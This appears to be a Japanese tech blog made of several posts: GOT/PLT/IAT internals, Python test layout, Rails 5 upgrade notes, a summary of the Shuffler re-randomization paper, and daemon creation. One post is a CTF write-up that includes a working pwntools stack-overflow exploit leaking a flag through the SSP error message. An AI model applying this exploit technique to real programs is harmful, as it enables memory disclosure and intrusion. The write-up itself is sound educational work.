GOT、PLTとIAT

動的リンクされたライブラリのアドレス解決の際、ELFではGOT、PLTが、PEではIATがそれぞれ用いられる。たまにどっちがどっちでどうだったのか分からなくなるのでメモしておく。

GOTとPLT

GOT(Global Offset Table)はシンボルへのポインタの配列で、 プログラムが使用するすべてのライブラリ関数はGOTにエントリを持ち、そこで実際の関数のアドレスを管理する。 これにより、ライブラリをプロセスメモリ空間の中で容易に再配置できるようになる。

遅延リンク

ELFではPLT(Procedure Linkage Table)を用いて遅延リンクできるようにしている。 遅延リンクとは、共有ライブラリのロード時にシンボル解決を行うのではなく、関数が実際に呼び出されるときにシンボル解決を行うことである。 関数が最初に呼ばれるとき、飛び先は関数の本体ではなく、PLT上の対応するコードとなり、 そのPLTには、GOTの対応するスロットから飛び先アドレスを取得し、そこに飛ぶようなコードが格納されている。 呼びだされたときには、PLT経由でRTL(RunTime Linker: 実行時リンカ)のシンボル解決のコードが呼ばれ、 GOTに設定してある自分自身の飛び先を、本来の関数に設定しなおす。 関数が次に呼び出されたときには、今度はRTLは関与せずにGOTのエントリを通じて直接実行される。

確認する

以下のコードを実行し、puts()を呼ぶ前と呼んだ後でGOTのエントリを確認する。

コード

#include <stdio.h>

int main()
{
  puts("test");
}

gdbにより確認

$ gdb ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ start
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400526 <+0>:  push   rbp
   0x0000000000400527 <+1>:  mov    rbp,rsp
=> 0x000000000040052a <+4>:  mov    edi,0x4005c4
   0x000000000040052f <+9>:  call   0x400400 <puts@plt>
   0x0000000000400534 <+14>: mov    eax,0x0
   0x0000000000400539 <+19>: pop    rbp
   0x000000000040053a <+20>: ret    
End of assembler dump.
gdb-peda$ disas 0x400400
Dump of assembler code for function puts@plt:
   0x0000000000400400 <+0>:  jmp    QWORD PTR [rip+0x200c12]        # 0x601018
   0x0000000000400406 <+6>:  push   0x0
   0x000000000040040b <+11>: jmp    0x4003f0
End of assembler dump.
gdb-peda$ x/x 0x601018 // GOTを確認
0x601018:  0x0000000000400406
// 書き換え前
gdb-peda$ break 0x400534
Function "0x400534" not defined.
gdb-peda$ break *0x400534
Breakpoint 2 at 0x400534
gdb-peda$ c
Continuing.
test
Breakpoint 2, 0x0000000000400534 in main ()
gdb-peda$ x/x 0x601018  // GOTを確認
0x601018:  0x00007ffff7a7d690
// 書き換え後

こうして遅延リンクを用いたアドレス解決は位置独立性と共有性を損なわずに行われる。

遅延リンクを用いるときGOTを動的に書き換えるため、GOTは書き込み可能である必要がある。 そのため、format string bugやROPを用いてGOT overwriteするといった形で攻撃に用いられることがある。

この攻撃に対するセキュリティ機構としてFull RELRO(RELocation ReadOnly)というものがある。 これは、遅延リンクを行わずに、ローダがプログラム実行開始時に実際の関数アドレスをGOTのエントリに挿入することで、 GOTを書き込み禁止するというものである。

IAT

Windows PEにもGOTと似たIAT(Import Address Table)というのがある。IATはプログラム中で使用するAPIのコードの開始位置のアドレスを格納したテーブルである。

IATのエントリにはローダがメモリ空間上に各DLLが読み込まれたアドレスをベースにして、実際の関数開始アドレスを書き込む。ローダが書き込むので実行前にIATのエントリは書き換えられる。これによって、プログラムはIATを参照するだけでAPIを呼び出せるようになる。IATのエントリは実行時には書き換える必要性がないので、デフォルトで書き込み禁止にすることができ、GOTより実行中に書き換えられるリスクは軽減されている。

IATが書き込み禁止になっているからといって、書き換えられない訳ではなく、Windows APIのVirtualProtect()を用いて書き込めるようにできる。 これはAPIのIATエントリを書き換え、任意の関数を指すようにするAPIフックに利用される。

参考資料

Pythonスクリプトに対してユニットテストするときのディレクトリ構成

フレームワークを使って開発しているとユニットテスト用にディレクトリが用意されていることもあるが、単体のPythonスクリプトに対してユニットテストを書くときはディレクトリ構成を考える必要がある。やはりユニットテストとそれ以外は違うディレクトリに配置したい。この記事ではディレクトリ構成を紹介する。

ディレクトリ構成

new_project
├── project_name
│   ├── __init__.py
│   └── hoge.py
└── tests
    ├── __init__.py
    └── test_hoge.py

空の __init__.pyディレクトリに置きパッケージ化することで、ディレクトリの下のファイルを読めるようにしている。 これによって、new_project以下からtests以下のテストを実行すると、project_name以下のファイルをimport文で読み込むことができる。 tkmru/nao: No-meaning Assembly Omitter for IDA proでもこのようなディレクトリ構成にしている。

なお、unittestモジュールを使ったテストの実行は以下のコマンドでできる。

テストすべてを実行

python -m unittest discover

テストケースを指定

python -m unittest tests.ファイル名.クラス名

メソッドを指定

python -m unittest tests.ファイル名.クラス名.メソッド名

参考資料

近況

nao: No-meaning Assembly Omitter for IDA proを公開したところ、リポジトリにスターがいっぱいついたり、unicornの作者にコメントされたり、unicornのshowcaseに載せてもらえたりして高まった。

ツイートされた!

リポジトリのissueでほめられた!!

cool project! · Issue #23 · tkmru/nao

showcaseに載せてもらった!!! f:id:TAKEmaru:20170128030311p:plain

Showcases – Unicorn – The ultimate CPU emulator

やっていきましょう。

Shuffler: Fast and Deployable Continuous Code Re-Randomization の紹介

はじめに

情報セキュリティ系論文紹介 Advent Calendar 2016 - Adventarの23日目の記事として、Shuffler: Fast and Deployable Continuous Code Re-Randomization | USENIXの紹介をやっていく。今日は12月23日であり、明日はクリスマス・イブである。

これはJIT-ROPに代表される、memory disclosure vulnerabilityを利用した攻撃に対する防衛機構の話である。 JIT-ROPに関してはx64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジーを見てほしい。

この記事で扱う図はすべて上の2つのリンクから借用した。

概要

現代のシステムでは、NX bitやASLRによりコードインジェクション攻撃は実質的に排除されているが、今日のプログラムはROPのようなコードを再利用する攻撃に対して脆弱である。また、Anti-ROP: A Moving Target Defense によると、ソフトウェアに対する攻撃の90%でROPが用いられている。

特に悪意のあるものはJust-In-Time ROP(JIT-ROP)であり、攻撃者はmemory disclosure vulnerabilityを利用して実行時にgadgetを発見する。これに対する対抗策として、攻撃者がgadgetを見つけるよりはやく、コードを再ランダム化しようというアイデアのもと、Shufflerは開発された。Shufflerは、コード位置を20-50ミリ秒単位で連続的に再ランダム化し、攻撃者に時間の制限をかけることで対処する。 この制限はネットワーク経由での攻撃に特に有用で、攻撃者マシンから数十ミリ秒離れた場所にあるサーバープログラムに対して、攻撃を最後まで行うことは困難となる。

また、本研究の貢献は以下の4点だと述べられている。

  1. Deployability: Shufflerによる再ランダム化は、ソースコードコンパイラ、リンカを変更とせず、ローダーへのミニマムな変更だけで行うことができる。

  2. Speed: レイテンシ、オーバーヘッドが低い、非同期の再ランダム化によって、disclosure-based attackに対しミリ秒のオーダーのリアルタイムデッドラインを導入する。

  3. Egalitarianism: 我々は防衛機構をどのようにセルフホストし、trusted computing base (TCB)の拡大を回避するかについて説明する。 Trusted computing base - Wikipedia

  4. Augmented binary analysis: コンパイラから得られる情報(シンボルや再配置)を活用することで、バイナリ上で完全で正確な分析が可能であることを示す。

Implementation

Shufflerは x86-64 Linuxのユーザー空間で動作し、バイナリが依存するすべての共有ライブラリと、バイナリ自体をシャッフルする。 シャッフルするプロセスは、シャッフルされるプログラムのスレッドの実行をさまたげることなく、スレッド内で非同期に実行される。

以下の図は、シャッフルされたコードのスナップショットである。 code pointerはcode pointer tableを介して指され、リターンアドレスはXORで暗号化され、スタックに積まれる。

f:id:TAKEmaru:20161227200449p:plain

Shufflerはシャッフルする各期間で、コードの新しいコピーを作成し、code pointer tableを更新、すべてのスレッド(自身を含む)にシグナルを送る。 各スレッドはそのスタックをunwindsし修正する。

Shufflerはすべてのスレッドが unwindingを終えるまでバリアーで待機し、以前のコピーしたコードを消去する。Shufflerの実装は、共有ライブラリ、複数のスレッド、フォーク(それぞれの子は独自のシャッフラースレッドを取得する)、{set、long} jmp、システムコールの再エントリ、シグナルなど、多くのシステムレベルの機能をサポートしている。

Transformations to Support Shuffling

元のコードの前後に以下のように命令を挿入することで、return addressをxorしている。

func:
mov %fs:0x28,%r11
xor %r11,(%rsp)
; original code
mov %fs:0x28,%r11
xor %r11,(%rsp)
ret

関数を呼び出す際のアドレス解決は以下のように行われる。

f:id:TAKEmaru:20161228064712p:plain

call命令はそのとき以下のように書き換えられる。

callq *%rax
=> callq *%gs:(%rax)

また上のときのraxは以下のように書き換えられ、データセグメントのindexとして扱われる。

mov $0x40054d, %rax
=> mov $0x20, %rax

Bootstrapping

2つのライブラリ(stage1, stage2)を使って、シャッフルされたコードを起動するので、 システムは現在実行中のモジュールのコードポインタを上書きしません。 これらのライブラリは、LD_PRELOADを使用してターゲットにinjectionされる。 ローダー機能を再実装するのではなく、システムローダーに任せて有効なプロセスを作成し、 プログラム(またはそのコンストラクター)が実行を開始する前に引き継ぐ。

stage1のコンストラクタは、リンカメカニズム-z initfirstを介して他のもののより早く呼び出される。 次に、ローダ自体にブレークポイントを設定することによって、stage1では、他のすべてのコンストラクタがシャッフルされたコードで実行されるようになる。 最後に呼び出されるコンストラクタ(LD_PRELOADの副作用)はstage2自身のコンストラクタである。 stage2は専用のShufflerスレッドを作成し、他のすべてのコードの元のコピーを消去し、シャッフルされたELFエントリポイントで実行を再開する。

評価

ROP、direct JIT-ROP、indirect JIT-ROP、およびBlind ROPを含む、コードを再利用するすべての既知の形態の攻撃に対し、Shufflerが防御できることを示した。 50 msごとにシャッフルするとSPEC CPUのオーバーヘッドは14.9%となり、Nginxなどの現実のアプリケーションの上でShufflerを実行できることを確認した。シャッフルされたNginxは12コアで最大24のワーカープロセスをスケーリングできた。

また、CVE-2013-2028によってBlind-ROPが可能なNginx 1.4.0を用いて、攻撃が完了するまでに7分かかることを測定した。 このBlind-ROPをシャッフルされたNginxで試したとき、攻撃者はPLT、stack canaryを見つけられなかった。 親プロセスと子プロセスが独立してランダム化されるため、攻撃は成立しなかった。

感想

gadgetが発見される前にコードを再ランダム化するというアイデアだけではなく、再ランダム化することに対する攻撃手法も述べられており、面白い論文だった。是非コードを読みたい。

Railsを5.0にupdateした時のメモ

方法

Gemfileを編集する。Railsのversionを最新版に指定してbundle update

gem 'rails', '5.0.0.1' # そのときの最新版を指定してくれ!

Rails5に対応していないversionを指定されているgemがあったりするのでエラーメッセージに応じてversion指定を抜く必要がある。

bin/rails app:update で設定ファイルをRails5向けに書き換えてくれるが、config/application.rbconfig/route.rb も容赦なく書き換えようとしてくるので、diffを見たりして注意する必要がある。

コードを変更した点

skip_before_action

同一ファイル内にcallback関数がない場合、raiseオプションにfalseを設定しないと、ArgumentErrorが出るように変更された。sourceryというgemのcallbackを使うところで変更が必要になった。

skip_before_filter :require_login, raise: false

本体のコードの該当箇所

時間の扱い

いままでは、Active Recordが時間をUTCで保存するため、JSTで時間を扱いたいとき、Time.zone.utc_to_localでいちいち変換する必要があった。

Rails5ではconfig/application.rbに以下のように書くことで、DBにUTCで入っている時間をJSTとして扱えるようになり、Time型の扱いが楽になった。

config.time_zone = 'Tokyo'
config.active_record.time_zone_aware_types = [:datetime, :time]

しかし、DBのTime型には日にちが入らないため、UTCからJSTに変換する際、+9時間すると日をまたぐ場合がある。そのため、ActiveSupportTime.change(day:n)を用いて日にちを変更する必要は残った。

参考

Rails で DB の Time 型を扱う - おもしろwebサービス開発日記

雑感

rakeコマンドをつかわなくても、railsコマンドでdb:migrate等をできるようになっててよい。 あと、 config.active_record.time_zone_aware_types のおかげで時間をJSTとして扱えるのがほんとに最高。 神っぽい。

SSPのエラーメッセージからのinformation leak

SSPのエラーメッセージとは

SSP(stack-smashing protection)とはスタック上にcanaryと呼ばれる値を配置し、それが書き換えられたか否かでstack overflowしたかどうかを判定するセキュリティ機構である。

stack overflowが起こるコードを実行してみる。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[10] = {};
    strcpy(buf, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
    puts(buf);
    return 0;
}

エラーメッセージが出力された。

$ ./bof
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./bof terminated
中止 (コアダンプ)

./bof というファイル名がエラーメッセージに含まれている。このファイル名はargv[0]としてバイナリに含まれていて、これを書き換えることで任意のデータを出力できる。

32C3 CTF readme

例として、このテクニックを必要とする、32C3 CTFで出されたreadmeという問題を解く。

実行してみる

2回目の入力でflagを書き換えるようだ。

$ ./readme.bin 
Hello!
What's your name? aaaa
Nice to meet you, aaaa.
Please overwrite the flag: bbbb
Thank you, bye!

解析

SSP有効なstripped 64bit バイナリ。

$ file readme.bin 
readme.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped

$ checksec.sh --file readme.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   readme.bin

gets()が使われていてstack overflowさせることができ、あとの方でflagがあるアドレス(0x600d20)をmemsetで書き換えている。

00000000004007e1         mov        esi, 0x400934        ; "Hello!\\nWhat's your name? "
00000000004007e6         mov        edi, 0x1
00000000004007eb         push       rbx
00000000004007ec         sub        rsp, 0x118
00000000004007f3         mov        rax, qword [fs:0x28]
00000000004007fc         mov        qword [ss:rsp+0x108], rax
0000000000400804         xor        eax, eax
0000000000400806         call       j___printf_chk
000000000040080b         mov        rdi, rsp
000000000040080e         call       j__IO_gets // overflow
0000000000400813         test       rax, rax
0000000000400816         je         0x40089f
...
0000000000400868         xor        esi, esi             ; argument "c" for method j_memset
000000000040086a         sub        edx, ebx             ; argument "len" for method j_memset
000000000040086c         add        rdi, 0x600d20        ; "32C3_TheServerHasTheFlagHere...", argument "b" for method j_memset
0000000000400873         call       j_memset  // flag overwrite

memsetで書き換えられる場所以外にもflagが格納されている場所があった。

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 5 results, display max 5 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") // will overwrite by memset

argv[0]からflagが格納されている場所へのoffsetは0x218。

gdb-peda$ telescope
0000| 0x7fffffffdd20 --> 0x1
0008| 0x7fffffffdd28 --> 0x7fffffffe0e4 ("/mnt/hgfs/code/pwn_collection/32C3ctf/readme-200/readme.bin")
0016| 0x7fffffffdd30 --> 0x0
0024| 0x7fffffffdd38 --> 0x7fffffffe120 ("LC_PAPER=en_US.UTF-8")
0032| 0x7fffffffdd40 --> 0x7fffffffe135 ("XDG_VTNR=7")
0040| 0x7fffffffdd48 --> 0x7fffffffe140 ("XDG_SESSION_ID=c2")
0048| 0x7fffffffdd50 --> 0x7fffffffe152 ("LC_ADDRESS=en_US.UTF-8")
0056| 0x7fffffffdd58 --> 0x7fffffffe169 ("CLUTTER_IM_MODULE=xim")

gdb-peda$ print  0x7fffffffdd28 - 0x7fffffffdb10
$2 = 0x218

exploit

stack overflowさせてargv[0]を書き換える。エラーメッセージはサーバー上の端末に出力されてしまうが、環境変数LIBC_FATAL_STDERR_=1と指定しておくと標準エラー出力に出力され、ネットワーク越しに見えるようになる。flagを書き換える2回目の入力を利用して環境変数を設定する。

#!/usr/bin/env python2.7
# coding: UTF-8

from pwn import *

p = process('./readme.bin')

payload = 'a' * 0x218
payload += p64(0x400d20) # flag address overwrite argv[0]
payload += 'a' * 8
payload += p64(0x600d20) # input writing into env

env = 'LIBC_FATAL_STDERR_=1' # writing 0x600d20 by memset

p.sendline(payload)
p.sendline(env)
print p.recvall()

実行結果

$ python exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/tomori/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.2.0)
[+] Starting local process './readme.bin': Done
[+] Receiving all data: Done (703B)
[*] Process './readme.bin' stopped with exit code -6
Hello!
What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

エラーメッセージのファイル名の部分をflagに書き換えることができた。

参考資料

32C3 CTF readme · うさぎ小屋

デーモンの仕組み

デーモンはバックグラウンドで動き、terminalからインタラクティブに操作されることがないプロセスである。起動時に開始し、rootユーザやapachepostfixなどの特権ユーザにより動かされる。systemdで操作するcrondとかsshdとかのことである。

デーモンは一般的に、initプロセスの子プロセスとして動く、terminalから接続されないという2つの要件を満たしている。initプロセスとはシステム起動後にカーネルが最初に実行するプロセスでこのpidは1である。

以下のようにしてデーモンは起動される。

  1. fork()を呼び、デーモンとなる新しいプロセスを作る。
  2. デーモンの親プロセスがexit()を呼んで終了する。親プロセスがすぐに死に、デーモンはプロセスグループのリーダーにならない。
  3. setsid()を呼び、デーモンに新しいプロセスグループとセッションを与え、デーモンがリーダーになるようにする。これによりプロセスを制御するterminalがないことも保証できる。
  4. chdir()でワーキングディレクトリをrootディレクトリに変更する。これはデーモンが他のディレクトリを使用中にしないようにするため、adminにワーキングディレクトリをunmountされることを避けるためである。
  5. 全てのファイルディスクリプタを閉じる。機能的に必要であればそこは開けておく。
  6. ファイルディスクリプタの0(stdin)、1(stdout)、2(stderror)を開き/dev/nullにリダイレクトする。

これらに基づき、デーモン化するコードは以下のようになる。このコードはLinuxシステムプログラミング | Robert Love, ロバート ラブ, 千住 治郎より拝借した。

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/fs.h>

int main (void)
{
 pid_t pid;
 int i;

 /* forkして新しいプロセスを作る */
 pid = fork();
 if (pid == -1)
  return -1;
 else if (pid != 0)
  exit(EXIT_SUCCESS);

 /* 新しいセッションとプロセスグループを作る */
 if (setsid() == -1)
  return -1;

 /* ワーキングディレクトリをルートに変更 */
 if (chdir("/") == -1)
  return -1;

 /* NR_OPENを使って全てのファイルディスクリプタを閉じる */
 for (i = 0; i < NR_OPEN; i++)
  close(i);

 /* ファイルディスクリプタ 0, 1, 2を /dev/nullにリダイレクト */
 open("/dev/null", O_RDWR); /* stdin */
 dup(0); /* stdout */
 dup(0); /* stderror */

 return 0;
}

デーモンを生成する関数はglibcではdaemon()として実装されている。